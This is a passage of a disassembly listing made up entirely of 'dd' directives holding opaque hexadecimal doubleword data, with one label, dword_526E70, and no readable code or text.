		dd 0C47D79C0h, 80007B1Fh, 0E7878829h, 659DCDh, 0A338DC48h
		dd 0B13AD8C5h, 7A8C7F00h, 3F81395h, 0E74100CCh,	0B8807DA6h
		dd 6C0E23DCh, 0A0C498D5h, 3835EA4Ch, 0EB7DE6h, 5A5FD467h
		dd 64D6544Eh, 0A30E2CF8h, 473D8C2Bh, 0AE007B4Ah, 0ACE0C2h
		dd 104764A0h, 0A3237D7Fh, 2A8A290Bh, 3A2A00B6h,	14D4A5Ah
		dd 7D590160h, 40A8EAC1h, 486B67E4h, 340ED372h, 67D745F1h
		dd 5F906EB9h, 296C42h, 177FDE13h, 3B3DFCB3h, 0A5854700h
		dd 0FEF3FA76h, 5275BEh,	83045D31h, 2D8F346Dh, 0AF2FCE00h
		dd 0F367361Eh, 7DD800A8h, 4BD26EF1h, 23033B19h,	9F6F8DE8h
		dd 6B73D0FAh, 15B300DFh, 1F530D90h, 0D7043C8Fh,	0A31A5F11h
		dd 873E8282h, 42D01E8Fh, 70B8214h, 31787AC6h, 0D360B09Fh
		dd 5D003281h, 7B8E9BEDh, 2FE014h, 0BE21DDBBh, 55882AD8h
		dd 2DD2D02Ch, 200FE402h, 4D9D401Ch, 36A8008Bh, 0C41671DBh
		dd 0A25FF9Eh, 0C2FC220Bh, 0AFC0174Bh, 4AE14907h, 0F70401Eh
		dd 0D9AE64B1h, 65841707h, 0C58111BDh, 89E85BB8h, 0A0A649F5h
		dd 0A4297125h, 0D5211444h, 0D040D190h, 0A760EBE2h, 0BE7C1551h
		dd 1F38021Bh, 0B52D509Bh, 182545C0h, 20E9EA07h,	8D3E814h
		dd 2DF4D0DEh, 9650BBCh,	0B5848358h, 2BD8A093h, 84039085h
		dd 3B0066FDh, 0D92D243Ch, 9996FF00h, 0BD70A4B4h, 1EC3129Dh
		dd 68DC8CD8h, 44238304h, 0CEC0A1E8h, 1D2F3648h,	80B30563h
		dd 0C20CD05Bh, 7D00B52Eh, 51B00196h, 79B6AF2h, 9718E81Eh
		dd 0FF50003Bh, 650FC377h, 4B68DD84h, 5618070h, 0A6C679Fh
		dd 0F52041AEh, 4CAD00CBh, 0CD724806h, 7D0003B8h, 7BC222FFh
		dd 742C0Ch, 1CA7B3C5h, 0ED90457Ah, 1F36C900h, 7632156Bh
		dd 0BC0C00B0h, 0CB39EC94h, 0D9048C41h, 0FCB87077h, 957F2491h
		dd 0E6440EFCh, 581600D8h, 34515D38h, 7400EE33h,	1E724F55h
		dd 72B74635h, 6AED006Dh, 6524A5EBh, 0A212BE99h,	0A30EFCD2h
		dd 3369E064h, 951066h, 5D4CF07Bh, 2F6050F7h, 1BE8B300h
		dd 0EC8C36D0h, 0DD100B2h, 496FDA9Bh, 1700A794h,	38A4F950h
		dd 1D25825Bh, 8060D034h, 80426FE3h, 0F1EBD49h, 9800EE0Ch
		dd 0C4401DA2h, 48B812C2h, 0A47CCECCh, 63F8047Ah, 3F3D2801h
		dd 9339BC9Dh, 0B982245Ah, 2860FE5Fh, 4B0018F1h,	56E96BFAh
		dd 0DB985Bh, 2BA9AC33h,	88CAB9AAh, 0F1AB7F06h, 4229678Fh
		dd 0A0A5116Ah, 118A6E11h, 8E11683Eh, 9EC6115Ch,	0BC106221h
		dd 4F578284h, 8611B1C2h, 52E71187h, 0A084621h, 853A8891h
		dd 9053F788h, 0AA0384DAh, 90421E48h, 21BE2456h,	5212A8DAh
		dd 89506810h, 1D9910F2h, 5C730056h, 0F43D6E05h,	9E2807A6h
		dd 0FF090C80h, 80AB3770h, 53503B2Dh, 8E9E3D84h,	833D8058h
		dd 5BEFE780h, 0ABB33548h, 29262300h, 39B4D36Bh,	0AD8C022Ah
		dd 0F5EF03Bh, 8AC879C0h, 0FCAFB900h, 76016C7Ch,	0A8810EF9h
		dd 0ADA04762h, 75E9B5A1h, 804ABF3Eh, 8E46C031h,	1EA49B0Bh
		dd 0DC70FE24h, 84DDC0AFh, 0CBFC6D0Ch, 6738170Ch, 657788Ah
		dd 0E9BE812Bh, 0E13C1071h, 6C1889A5h, 0C3140062h, 9048855h
		dd 9F8BF0BFh, 0FE0D887Ch, 33FC8063h, 7A571F71h,	0A540F02Ch
		dd 0F300DCD1h, 0F4D6BB1Fh, 0C92204Bh, 7F7EC773h, 1901CD80h
		dd 0C4B48B10h, 0B8858EFAh, 853F65FEh, 86504063h, 0AB4C3DE2h
		dd 5A64FC16h, 0E33EA200h, 1C6B38F2h, 80E9CA79h,	1EA8C931h
		dd 4A0015F5h, 29DD5188h, 84836Fh, 0B5A37A60h, 8BC88DE5h
		dd 0C1DA4900h, 21DF7BCDh, 187285h, 3A376870h, 69C39F44h
		dd 0C172F900h, 3C634BE5h, 0E7601E36h, 6D8E884h,	0EBD604BAh
		dd 0B10EF85Fh, 216073E6h, 87880EC3h, 1E2728F8h,	406E126Bh
		dd 0F3F054B7h, 44740AE1h, 0D8396300h, 0B5D4AD7Fh, 801B0019h
		dd 13622E58h, 71006B75h, 2087DD96h, 492F59Ch, 473AE5C4h
		dd 7727F0EEh, 79D53100h, 0D7D4EB30h, 8D46009Ch,	1C43CC5h
		dd 9CA0910Bh, 5C00DFB5h, 44987935h, 0C54C1CDh, 0E04BE2E8h
		dd 3E019E19h, 8834AEC7h, 7AD975C8h, 0C5DDF8h, 91B23BE5h
		dd 3379D489h, 0A8F57F1Dh, 0F9549B40h, 0D3CA4Dh,	89FAB148h
		dd 0CA5CD7Dh, 95C7FE00h, 902C8DA9h, 0C56C00E1h,	7749379h
		dd 0C708EF6h, 0DEEB220Bh, 6CEC008Ch, 3C63DA6h, 0E3ACAF74h
		dd 0AD8AF6h, 0CAD7CFBCh, 7000597Ah, 886B2C6Dh, 4830F10Dh
		dd 0C50310C3h, 0B3508C1Ch, 2575C4B0h, 9D00FFEAh, 0EF7BDFBBh
		dd 4DA0159h, 77ABC7D7h,	4D3C82D3h, 9F908443h, 207316EEh
		dd 57E2F200h, 0F4431AF9h, 0FE853961h, 59112918h, 6F00E75Fh
		dd 0BD58722Ch, 0E21E9F6h, 0FE2FB599h, 0D8E846A0h, 4AC91C63h
		dd 73A4A2EBh, 8AF440ECh, 3AD9024Dh, 83C5F65Eh, 26D44040h
		dd 4A623900h, 539DDE96h, 97E50158h, 81D74467h, 49E8F807h
		dd 808C5F39h, 74D4A506h, 4AE7C4h, 3E659FFAh, 1D262178h
		dd 0D44250C0h, 128C68h,	2B72015Bh, 1EA9BC6Ch, 535E6701h
		dd 0F8B16F4h, 90D5D9C8h, 0CEE70054h, 41E9A57Eh,	8CA0A311h
		dd 42003F6Eh, 9642D59h,	3ACBDh,	830F340Eh, 0F494218Ah
		dd 0DD49A700h, 0E9682EDAh, 0E676D4h, 0F065C182h, 2D98E559h
		dd 5C12791Ch, 2E008468h, 9F01AA89h, 5674371h, 209BE158h
		dd 7B0C0015h, 0F62F5145h, 0A4666E1Ch, 6019080Fh, 2DFD1FB2h
		dd 16AEC17h, 3F0904A0h,	30508F30h, 38077F28h, 0BB892A65h
		dd 0E9E76630h, 518D0A44h, 5BC713Ah, 96EF17h, 13AFB090h
		dd 0C1095AC5h, 0DFA408h, 18CC6DFCh, 0CED80097h,	0C257C11h
		dd 77380E4Eh, 0F63C7367h, 2AE0079Ah, 0E81180AEh, 2FDCFBF9h
		dd 4F870149h, 73D9FC52h, 534C206Ah, 0BA004DF8h,	84558EFFh
		dd 40F4D2E8h, 861FD3BDh, 24FB205Ah, 95005C8Fh, 7170260Dh
		dd 7494002Ah, 0CC9610CFh, 304C9CC8h, 3C480018h,	0D2449743h
		dd 0B980370h, 0FF3A6985h, 4CF14FD8h, 0D80EDE5Ah, 0CB9F604Dh
		dd 0CE9EAFD7h, 82A41BF0h, 89BC01Fh, 0C700356Ch,	50951494h
		dd 0FC7CC405h, 6C373FAh, 0D416BE1Dh, 9F01A83Ah,	15C9DDB2h
		dd 45033BA2h, 0C3F854B8h, 242D503Fh, 4D045848h,	3BC010C1h
		dd 0F8920365h, 7FC176Ch, 0DC24419Ch, 0FB91BC4Fh, 0C7B1B9D0h
		dd 6D8B4Ch, 0FCA902D7h,	0CE398Dh, 9FA3369Bh, 0A72125BCh
		dd 0F970D1Dh, 0F7D70B01h, 6BF0E4DEh, 3C647120h,	263C3771h
		dd 9D79FC00h, 0B4679B2Eh, 5949F058h, 4B211660h,	263C5C14h
		dd 1C282C7Fh, 4AF72317h, 0EFB08A00h, 0CB0242h, 0EEB3C6F3h
		dd 5F83EBF1h, 0A26B1E03h, 0C837D3F5h, 3C24AF4h,	878482D7h
		dd 0B388F075h, 5C00ED5Dh, 26791252h, 2C19F896h,	3891FD95h
		dd 9EE43683h, 7B987C64h, 230BBA41h, 0D7FFC371h,	0A2184900h
		dd 1413C7DBh, 0E430EF83h, 511BD8h, 0A24861BCh, 9F943124h
		dd 8076C001h, 0EB5C184h, 0B6CA1180h, 0E7692FD5h, 62373909h
		dd 0D69880D7h, 0FF15B1h, 0DFB21AC1h, 32350849h,	9BF65B00h
		dd 0A18E03Ch, 74A54870h
		dd 0DCA03A00h, 25C0D629h, 4B089B00h, 0FBBBE403h, 0D1F20077h
		dd 0C6A7EE85h, 4101640Ch, 6CB73EB6h, 0F7403CBDh, 0F4C95422h
		dd 0A8CB0055h, 0B38D0BAh, 4E00987Ch, 0D8510D1Eh, 0BBB97B6h
		dd 4FEEADE9h, 8D2AACE0h, 0AAE5A601h, 446B3F75h,	50347830h
		dd 0A6F0C11h, 0FA3B6541h, 140483DCh, 2BF856CDh,	1B0029E1h
		dd 0F8AC5E77h, 263C2305h, 26045993h, 386A0FEAh,	658E9540h
		dd 0B10009E2h, 4821E5C3h, 3A22D7h, 0C4606856h, 4E16FCB0h
		dd 34F2C000h, 418DF959h, 315A00CAh, 15B24966h, 0F700C4F3h
		dd 6D390BEBh, 0CB4582h,	793476BEh, 75090A43h, 702E320Bh
		dd 0E9C08094h, 3535B74h, 2F37F15Dh, 0F9E0CAEAh,	0AE001AA4h
		dd 0A9237F67h, 385DBEDh, 0C9034AA2h, 480C09F1h,	2CADFE22h
		dd 93A700B7h, 0B5BE07E4h, 0C3001AAFh, 0BD29E7A1h, 919080h
		dd 516F9A66h, 1D3A1347h, 0EF7C5C79h, 18A2DD07h,	0E98A2EADh
		dd 6DE80405h, 0C683B980h, 9380214h, 6AE312DDh, 3F179440h
		dd 5A4FE05h, 0A9016C97h, 0E1319B4h, 66810C40h, 1730E7Ch
		dd 0A005D3Ah, 29A81484h, 1C00A0FCh, 4593B75h, 0EEE5A706h
		dd 0FB1E0076h, 58128A4Bh, 0CC1C385Bh, 0DA0B8F40h, 0DCE423C8h
		dd 6E42E030h, 52787Ah, 3581E3D3h, 0FEB0D65Fh, 1CC41605h
		dd 228060C6h, 0F01F10h,	8A171DC9h, 4A7E451Ah, 3367A00h
		dd 0D8B8BBE1h, 0BF500BE9h, 6400DBECh, 1870F8B3h, 0DA991700h
		dd 4E0BFE8Fh, 0A6F600D8h, 2277B9E8h, 5A002F5Eh,	27AA02B1h
		dd 1F1FEB4h, 0D4400BC2h, 0D0728F1Ah, 2A1DDEA6h,	89C0CF42h
		dd 14AAF4A0h, 46EB2886h, 966E00D0h, 0E932F20Ah,	0A7E018CAh
		dd 0DC913B00h, 0AE2D843Ah, 0F3D7072Eh, 50039725h, 8D66145Fh
		dd 86E67039h, 0EAEC82BDh, 0E51AA06Eh, 1BAD0042h, 0E845FFCEh
		dd 4A00F1B7h, 3393218Bh, 114BD67h, 52C11876h, 70DDAEF2h
		dd 2E042264h, 0E5B76590h, 0B0D71083h, 739A7544h, 82B0068h
		dd 0F656E647h, 3C0186BAh, 0A1A4EB6Ch, 0A8E39AA3h, 0FA6FAE13h
		dd 2F2309A5h, 0C0F5127h, 48FA5361h, 423E60F1h, 0C5B85805h
		dd 0C0F0AF6h, 1F406165h, 0FCD0E604h, 0F850000Eh, 0B4612D64h
		dd 0E50BC908h, 0A21AF06Ch, 4001B118h, 251E8E0Ch, 0DC20E14Ch
		dd 34A9445Fh, 80A29A3Eh, 308EF220h, 0D8F569h, 59F610D2h
		dd 758502E4h, 54FBD000h, 0E56F3F4h, 5F622696h, 20F10028h
		dd 94B96A30h, 0C053090h, 0B7CCBABFh, 0CF8D8080h, 812C1C32h
		dd 158E42D6h, 0F85CDD51h, 5F44A700h, 9DF640h, 96DC466Dh
		dd 0B9D27F66h, 4B07877Bh, 0D37C689Ch, 0CA522630h, 1FCF00DDh
		dd 0B6157A51h, 78005FC5h, 0DB29C1A1h, 1F2AFD1h,	475E18Dh
		dd 405EE8F9h, 102188CAh, 9244C700h, 585DEF91h, 1ADB0090h
		dd 4D05231Dh, 0D23B7A11h, 0D0150045h, 0E0767108h, 0EF8558FCh
		dd 0C9608A00h, 17FBB341h, 62024AEAh, 0CF8942Fh,	0CB0C80CCh
		dd 56A6440h, 1B62DDE2h,	632CD19Ah, 0E76E202Ch, 1756D700h
		dd 673B824Eh, 0FBDA0261h, 59051EC4h, 0EC014470h, 8C5635E7h
		dd 48F68519h, 712DC1D8h, 573F2478h, 60C48B04h, 0FFEF7E01h
		dd 3AEC40A8h, 0C7009461h, 0B4C091DDh, 0C08AC1F4h, 0E0AD4D60h
		dd 0EC005553h, 0E1AA2157h, 79769C42h, 0CF120326h, 8CE5A35Ch
		dd 0DCD1C0B7h, 0EB0052CBh, 0CD272EF6h, 0F3447Bh, 0D263F9B7h
		dd 0B9F736AEh, 9DAFBA38h, 0DDC5DE1Eh, 8C80A2C6h, 2C7EBE42h
		dd 7642129h, 58503Ch, 9FF44A0Bh, 6E8D450Eh, 68FF207Ch
		dd 0C010CEh, 0D9A6FAB9h, 21F1C57Fh, 0A95CD990h,	2839375Ch
		dd 78C89CA4h, 6E1D0CA1h, 2A197BEEh, 0CE23B200h,	0A9243CA0h
		dd 0F8B09Ah, 7495278h, 203D8E36h, 0F37F9D03h, 88F5CDB1h
		dd 7C19F954h, 0D4B86Eh,	7C39EFDh, 0DC84A783h, 0E83D2100h
		dd 0DEC4EF74h, 0F34A09CEh, 9096D4D6h, 1681AE5Ch, 7C0052B6h
		dd 0AD588F72h, 0F411C038h, 82F73A10h, 0D7B29000h, 5E430F4Bh
		dd 0CEA300FEh, 0FC7A62D8h, 0D40E18EFh, 40542403h, 0A1F5ECB6h
		dd 9C9000E2h, 68479817h, 4D00FD4Ah, 0ED130801h,	17898EB8h
		dd 820C70E0h, 0CCC40D6Ch, 0F15F504h, 100A5CC3h,	13F7000Ch
		dd 8B4CAE11h, 61F0E00h,	0F17AF939h, 50AD77EFh, 22BFD83h
		dd 0BBE6560Ah, 1C40D99Bh, 1548E98Ah, 4703854Ch,	0A2A69400h
		dd 0F439B56Fh, 8433012Eh, 0B7DDA46Ch, 0BFEED41Ch, 9307037Ch
		dd 960AC1B1h, 0ABCD3600h, 21E90007h, 61F36739h,	9B0F4689h
		dd 805BC10Ch, 249D8831h, 0A08F0201h, 3361FA28h,	847EB048h
		dd 4BC84304h, 3CF09325h, 121C253Fh, 78983402h, 9F8484C0h
		dd 9A5D804h, 3CC09731h,	0B30BCE2h, 6F545A82h, 0C9E2740Fh
		dd 0DC0AC02h, 8704BDDEh, 0C4AA3655h, 51ED1CF1h,	423870h
		dd 0B4880CB1h, 6B083C43h, 5295FE00h, 0CCAEF383h, 1B800036h
		dd 0DEB622D2h, 0A00AAEBh, 38839975h, 0C0AB6C60h, 0C0190310h
		dd 0AF0C6327h, 19202B7Ah, 883F005Dh, 8C2EE3A7h,	0A500A914h
		dd 0C287447Ah, 304B83D7h, 0C88A744Dh, 0A7001760h, 9324E97h
		dd 0B82AA125h, 0F5613EE8h, 0A5FCC722h, 0D3DBCE00h, 6BA2E64Dh
		dd 2C7F143Dh, 47000C19h, 2239BCE8h, 0E73BA262h,	5F2580DCh
		dd 3AD953BEh, 0B6600073h, 1DADD0D3h, 4E486B24h,	2C5B0E64h
		dd 788CB6A1h, 631600F3h, 7CE4A735h, 9F00A386h, 39D1F931h
		dd 50C44C4Ah, 846BD805h, 0AB1D8108h, 57E56F91h,	70D4402Fh
		dd 0DCE2C68Bh, 0B30049E8h, 6F18F688h, 42192ECh,	0B7233260h
		dd 85789093h, 2F14EF97h, 28D7FA3h, 8023E7FBh, 810C8088h
		dd 32699ADh, 0D79602C8h, 30D7CFF2h, 7E3407B6h, 9A042D01h
		dd 6FECF8A3h, 90BF03E4h, 41721178h, 0E88A309Ch,	90E3EAh
		dd 6F13658Eh, 79FF565Dh, 0D27E2F0Eh, 6B86C15Bh,	0B883DDCCh
		dd 7DA94625h, 33D577A0h, 312CCE07h, 2773D09Fh, 8A78C891h
		dd 80D34B16h, 0AB06563Ch, 457F1B0Fh, 8254EB9Ch,	0D8DFA323h
		dd 2B710023h, 8089498Ch, 0A630E995h, 0D7693815h, 70484C4Fh
		dd 0F7882776h, 81003C0Fh, 0E2FEA616h, 3A878E00h, 947AE6A5h
		dd 16C8FA0Ah, 0FC9CB5h,	0C65405A8h, 0CF00B7ADh,	0A99AF843h
		dd 309949h, 0E85ADA04h,	0B52D7498h, 0B483574Ah,	0AAFEB0E2h
		dd 0BBA0B683h, 893C6F8Ah, 5817010Ch, 38D2130Dh,	8FEC3890h
		dd 0C04E4F34h, 0CF43E2AAh, 0A0840104h, 0BB13EB1Dh, 0C4302157h
		dd 5060739Dh, 0F63ED1D0h, 0DFE000A3h, 0B17C957Bh, 0F500110Dh
		dd 0D3AD87CEh, 1647209Dh, 5539F9h, 23C7D650h, 37006B27h
		dd 0B0087FCBh, 7AFF1FA0h, 0F5201D53h, 12F8C04Bh, 0A16D7810h
		dd 0C9653012h, 424B0h, 9B2D8790h, 1CD954A4h, 600E49Ah
		dd 8BF85C9Fh, 0E6D687F3h, 946F0063h, 71E6CC16h,	511201C5h
		dd 20B0133Eh, 0B4271FADh, 0C82B655Dh, 1928D4A6h, 6F16A600h
		dd 70A08BE8h, 514F2C0Fh, 0AA234050h, 7C03A199h,	1D575B73h
		dd 0C0E682E1h, 2DE2D554h, 0E8AE8A7Bh, 64827069h, 0F880A845h
		dd 0A21EAD11h, 88E4B400h, 0C14BFACDh, 7ACC00C6h, 8612C3DEh
		dd 8F007C66h, 61FF5002h, 0A4B848h, 4EE2BA01h, 25D72CF0h
		dd 0DB028891h, 60A5FC83h, 2ED6DAh, 0C3E4C855h, 0AA05017Dh
		dd 0DA2B5700h, 0BED181E9h, 2D80A893h, 0DD3400A8h, 0F59C1EF1h
		dd 8114DCB8h, 0C028Ah, 61EF9624h, 3F0202Dh, 87D2CF8Ch
		dd 0A3900CBCh, 213E1A30h, 0D7D181FCh, 0E982639Dh, 61558040h
		dd 56ACA8FBh, 2A953FBAh, 34157D07h, 0B936100Dh,	20E64128h
		dd 64018E7Ah, 98A38CD4h
		dd 8E70B3EDh, 0E06C48BEh, 0F2B9E040h, 3CA50B67h, 0AC80626Dh
		dd 0B7871C10h, 8F249902h, 0E09E6B2Ch, 0FCE9F6DFh, 0D86400C8h
		dd 7493AC51h, 0B200A445h, 6B265376h, 1552F3Ah, 4E5DD068h
		dd 64A856F1h, 0FA001648h, 0D488BA8Ah, 3AAFF305h, 0C4814497h
		dd 263EE6F6h, 3C225Bh, 0E4A631DCh, 0FC2806h, 22E5B658h
		dd 0B4BF669h, 0B5009F7Bh, 294A47D1h, 11F375h, 76CFC4F9h
		dd 58EF7BDEh, 25C10400h, 0A33C4C7Ch, 0C7D500C3h, 46218641h
		dd 0C09ADAE0h, 7A1C0C1Dh, 0AA10C640h, 3A55E29Fh, 371E9CEEh
		dd 0D1E70922h, 67F488C0h, 2E915C38h, 0CF1454D0h, 1D2C0094h
		dd 4CFBFD40h, 29B748Ah,	0E27B2280h, 78781634h, 726F3900h
		dd 6A7890DEh, 5DAD13F0h, 0C7F00102h, 0F4BAD00Ch, 160BB606h
		dd 87CF6340h, 4A102A81h, 248037F9h, 93F019h, 23016C50h
		dd 0A90CAE81h, 0E9D46E04h, 9DC912C5h, 55F80031h, 974D4221h
		dd 9FC77D00h, 7FDE711Dh, 0B77A0065h, 2ABCE564h,	0CD00D666h
		dd 0C9AE8D5h, 1690C974h, 1CA47357h, 0B7C4C030h,	4F0AEA8Eh
		dd 2A4234Dh, 0FF9F6775h, 91A0E413h, 20C2020h, 96A85CCFh
		dd 2C5489F6h, 0A922118Eh, 1F385238h, 428213AAh,	0C455633Fh
		dd 310230C0h, 36EBAD1Eh, 0EE3D504Fh, 61C98Dh, 0DA8CFDF0h
		dd 4D890AEDh, 1940535h,	175BEB46h, 486ACCE3h, 0D598F91Dh
		dd 950083E6h, 641D3F81h, 0C65301FCh, 369FEF76h,	0FAA84322h
		dd 0D48093FAh, 8B2D5F1Eh, 340F3B74h, 0A3F8FD71h, 0E1A06F1Dh
		dd 9078FCB6h, 0C0EB2610h, 3AA399FFh, 0CC555051h, 0F85F174Eh
		dd 0FC9883CBh, 5D31C0E8h, 2669D501h, 95DD9DB9h,	0A30FE07Ch
		dd 80BCAE64h, 0E57CED8Dh, 0EF094B67h, 0BC83A8h,	0D6ECF060h
		dd 0DF8C0038h, 7650445Ch, 12125E4Eh, 0C07D247h,	0C88CD6C7h
		dd 0C184603Ah, 0C3F8C4DCh, 1B32BC07h, 5C70AFBEh, 0BC58678h
		dd 3BCCCF8Bh, 4F00902Fh, 8848E5EBh, 113D5401h, 0D8D23985h
		dd 4E8E0C40h, 453A0E37h, 776038D7h, 3612CF89h, 0C1EC751Ch
		dd 4A84D940h, 13A58E63h, 1EA6A3Bh, 831AFD48h, 3112E873h
		dd 37F5F81Fh, 0CB535C80h, 393036Dh, 0E2CA7F33h,	0B7BAB6BDh
		dd 5F439054h, 0E923A2B5h, 0B820D028h, 3A000ADh,	3BE4C392h
		dd 6406DCB2h, 485E6380h, 45C10029h, 741AD74Eh, 4B5EFBABh
		dd 80E7F84Eh, 6058101Bh, 1CE7341h, 0BDBCF9C7h, 0C00215E9h
		dd 4E012F19h, 753422FEh, 0D030F0E8h, 0BFF90004h, 49608010h
		dd 4D002307h, 0D1A3AF5Eh, 975A380Fh, 0D8A8D1C0h, 20065030h
		dd 0BAB9E3h, 9770E7F1h,	0BBD7EDBFh, 0FA602807h,	4340CC1Dh
		dd 0F736B11Ch, 499853h,	9411F738h, 5FCC6C0Dh, 5CDA4701h
		dd 4592B41Dh, 0C180C493h, 0F9F68C20h, 1F4C6C31h, 1000F0EEh
		dd 0F584BDF2h, 18980090h, 36644541h, 3F056A38h,	228163D9h
		dd 3D029CE0h, 0ECAEA990h, 0AD70048h, 2CD0EA13h,	2CC8A35Bh
		dd 90DD80E8h, 12927D80h, 16F15034h, 0C834E3FCh,	542900DFh
		dd 7414B8C5h, 0C14ABE7Eh, 15BCC3h, 6A3C1E10h, 0B113F255h
		dd 16A40318h, 0A0E80F18h, 60363824h, 8BEA884Ch,	0AB3ADA08h
		dd 2228EE86h, 7665A42Dh, 1CBA1418h, 0D8D6B980h,	6116AB85h
		dd 1809C3D7h, 1E10D92Bh, 55AC004Ah, 3989CBB4h, 96008BF0h
		dd 0A2B2DE25h, 3B37A3Bh, 0FAD57D81h, 0DFEA0603h, 0FB2A9640h
		dd 743F0E00h, 24CE652Ch, 0AE8EC09Dh, 57412D1Bh,	2351D700h
		dd 75CC7220h, 0D6B8300Dh, 0A4A98A0h, 94AC4D1Dh,	0CB4CE700h
		dd 7D2C53h, 0A7954BC4h,	0F35872DDh, 3BCDB907h, 0B802CB38h
		dd 0BEC4A06Fh, 7617E5h,	4F03A7C4h, 201D7D9Eh, 0D8984E00h
		dd 25349BA9h, 14B8720Fh, 0D0FEDEEDh, 4166B918h,	74008517h
		dd 86AA3ED3h, 9DD67E9h,	19AE2F59h, 9B299C7Ah, 0B00FCDAh
		dd 0E8E12716h, 0B74318F3h, 25B81974h, 36181900h, 5FF68789h
		dd 0C77042h, 5B1D4EA6h,	0E121DD5Ch, 0A0C9901h, 77E7B6A4h
		dd 0B5155824h, 650113D8h, 0BC1153C7h, 0BC4F4FAh, 0A07C001Dh
		dd 72E8A2C2h, 552EB02Dh, 5000A1ADh, 60B80BE4h, 46520028h
		dd 3881CDE2h, 157264C1h, 9B6CDA1Eh, 0E8A15FD8h,	860E00C5h
		dd 61BB0D02h, 5B004B9Ah, 2BD8E21Bh, 0F4DB64C7h,	0C34BE5h
		dd 2D520928h, 0D112BDC0h, 34D0B9CCh, 1C74A78Eh,	4CFDFEh
		dd 0D9D486FBh, 101550Ah, 38D2E9ACh, 403ED89Bh, 0A31B74F4h
		dd 0D90005B9h, 6A65AB8Ah, 163D7CDh, 6EF570E1h, 0E4070F2Ah
		dd 0C500B8B3h, 69416AD0h, 73E9BCh, 0D988C30Dh, 0BAEC1AE7h
		dd 2BE00E00h, 0E8DC7796h, 11D00380h, 0C9F54166h, 0DB3858h
		dd 9627BD03h, 7A54B3h, 76169812h, 8580504Dh, 73312900h
		dd 3530A01Dh, 8C610B32h, 1383F9C6h, 23905526h, 2EFE7B71h
		dd 0F0E14303h, 0F19DFBC2h, 90D3C4F3h, 141028F1h, 0BA247046h
		dd 0A500424Ch, 1A916E25h, 4000A49Eh, 0F2EFD08Eh, 0E0AE62h
		dd 2C463298h, 0FCFB4227h, 0E9BBBC30h, 9E20A5h, 3E470D38h
		dd 802961DBh, 0FD07550Fh, 0C6E4826Eh, 4D2F609Bh, 8FF00077h
		dd 0C47232Ah, 19756DA7h, 0FBE03807h, 6E203CF7h,	0C066F209h
		dd 30804680h, 0F4983D61h, 0E3E0647Bh, 3B012EFCh, 97E6BBFAh
		dd 0DED0FE8Eh, 5191A059h, 0D2A71607h, 0B9F20188h, 0E858E40Eh
		dd 66E8E3ACh, 56F57800h, 41973BDEh, 8F9A0017h, 0C9C87D0Ah
		dd 5FE28E21h, 0D30F3DF6h, 40F0A6DBh, 87D99E54h,	7AE430FDh
		dd 80615880h, 1C50FA6Eh, 28ED1E80h, 0D5196EFh, 6FABD74Ah
		dd 0F8CCE828h, 0AC4F2600h, 0B98F6C35h, 0FEAD004Ch, 8B5F6DDDh
		dd 7A035546h, 9BAB7FD3h, 42E10062h, 0F2C23AEFh,	11057B2Eh
		dd 866BD608h, 49851EC0h, 0C05D0F95h, 91782BFBh,	9D012CA8h
		dd 47658AB5h, 61D4A0D8h, 0AB6C0095h, 0A9361F54h, 61C2F67Ah
		dd 0A09E058Dh, 5EAF5A88h, 0BA8B03E7h, 7727DA72h, 0F26FCEF0h
		dd 73A0465Bh, 0F30C075Ah, 0E512ADDh, 9D736DC0h,	117B87ADh
		dd 0C5C1EF00h, 0EB7F5668h, 67A2000Eh, 6B466F6Eh, 0D7177322h
		dd 7A01792Bh, 0DCE677C3h, 6A2EC02Fh, 33B02D09h,	83D4231h
		dd 20806E51h, 0EEA72083h, 0F4E37A08h, 0F907F8C1h, 0FAF0DF32h
		dd 6E4AB4A0h, 0AA8E3C86h, 4F4580DEh, 997933F1h,	806D5D3Fh
		dd 25A9D77Bh, 3FCDCE8h,	0EA81AE44h, 0BDC0E4BFh,	700D077h
		dd 0E855E95h, 79C2EDh, 0FF48C4D7h, 0D6F009B2h, 0D1BEB901h
		dd 726466D0h, 57BD9880h, 3116B062h, 0B9391506h,	600824F2h
		dd 7A3D216Dh, 403EAB0h,	4ADE7D58h, 1307A0E2h, 0BC630331h
		dd 66ADB508h, 0FC57B800h, 0BDD0976Ah, 2BF452h, 0EE5DA9CAh
		dd 0E79B8967h, 1F786B1Ch, 170B1D3Bh, 0CC7A1840h, 268C92C2h
		dd 0B4FB9Fh, 0F7BA479Ch, 3DE07917h, 9BEAC400h, 2181B972h
		dd 0E05900B6h, 82610D9Ch, 31F77E1h, 5B9EC743h, 0AB00A25Dh
		dd 3F294158h, 5A2406D1h, 91C4584h, 61213760h, 3404171h
		dd 0DD5FD1E7h, 0DAD01AA7h, 50C566EDh, 3880F524h, 0F82305C4h
		dd 18736F79h, 5800254Eh, 0CBB8C42h, 0C8E110A0h,	0A1430118h
		dd 18FB61h, 69E518Fh, 0D03005CDh, 21C4E601h, 9C269479h
		dd 0F7DE2DF0h, 1DF51881h, 8375934Fh, 692A8AC8h,	6A501C56h
		dd 0AB3440D7h, 11EA0233h, 7EF22100h, 0B99839A4h, 3AED01ADh
		dd 511E57C0h, 28E0F726h, 0EA1E0E36h, 0C6C035A0h, 0B818F9A7h
		dd 5E5F5C65h, 0B5DC007Dh, 0DD38D91Ch, 7C002952h, 0CAE9A51Bh
		dd 668BEBh, 7A34A731h, 56DFF9F2h, 1EF4D400h, 0FBEA0C57h
		dd 2F7C00FFh, 6D3ACB59h
dword_526E70	dd 0F00EC214h, 0A310888Ah, 29DF8654h, 55048F10h, 998458h
		dd 50CFEB56h, 0BA57296Dh, 0D1F56A0Fh, 0E3B20F4h, 7C1A10AFh
		dd 3A5503C2h, 3811995Ch, 0EB6DAEA0h, 56537A07h,	4B20CDFDh
		dd 64C031h, 6F61A511h, 0A22AEC55h, 0C6786C74h, 0BE16F105h
		dd 8381536Ah, 0CFF05651h, 700B0DDh, 1355A567h, 3BCDF011h
		dd 92525165h, 306DF878h, 0C710A8F9h, 0AF0021F7h, 2E8D3A38h
		dd 768C0DBh, 3B140746h,	9799E06Dh, 4919C7BEh, 0F128AE79h
		dd 12F49608h, 8898ED80h, 0D5887E87h, 31D14172h,	0A9299F71h
		dd 48119E90h, 8F92177h,	0F5947B5Bh, 56601128h, 1873DD11h
		dd 91A1297Ah, 4F3F889Bh, 28414189h, 29902A62h, 7CD7849Dh
		dd 0AF42A548h, 0ACD92333h, 9232A11Fh, 18094220h, 25295C10h
		dd 555388B0h, 4E151DEh,	810D409h, 6A8C4EC1h, 0A7885129h
		dd 3DFD0057h, 0BB4E59D7h, 0D20073DCh, 0B5022B89h, 1F46D658h
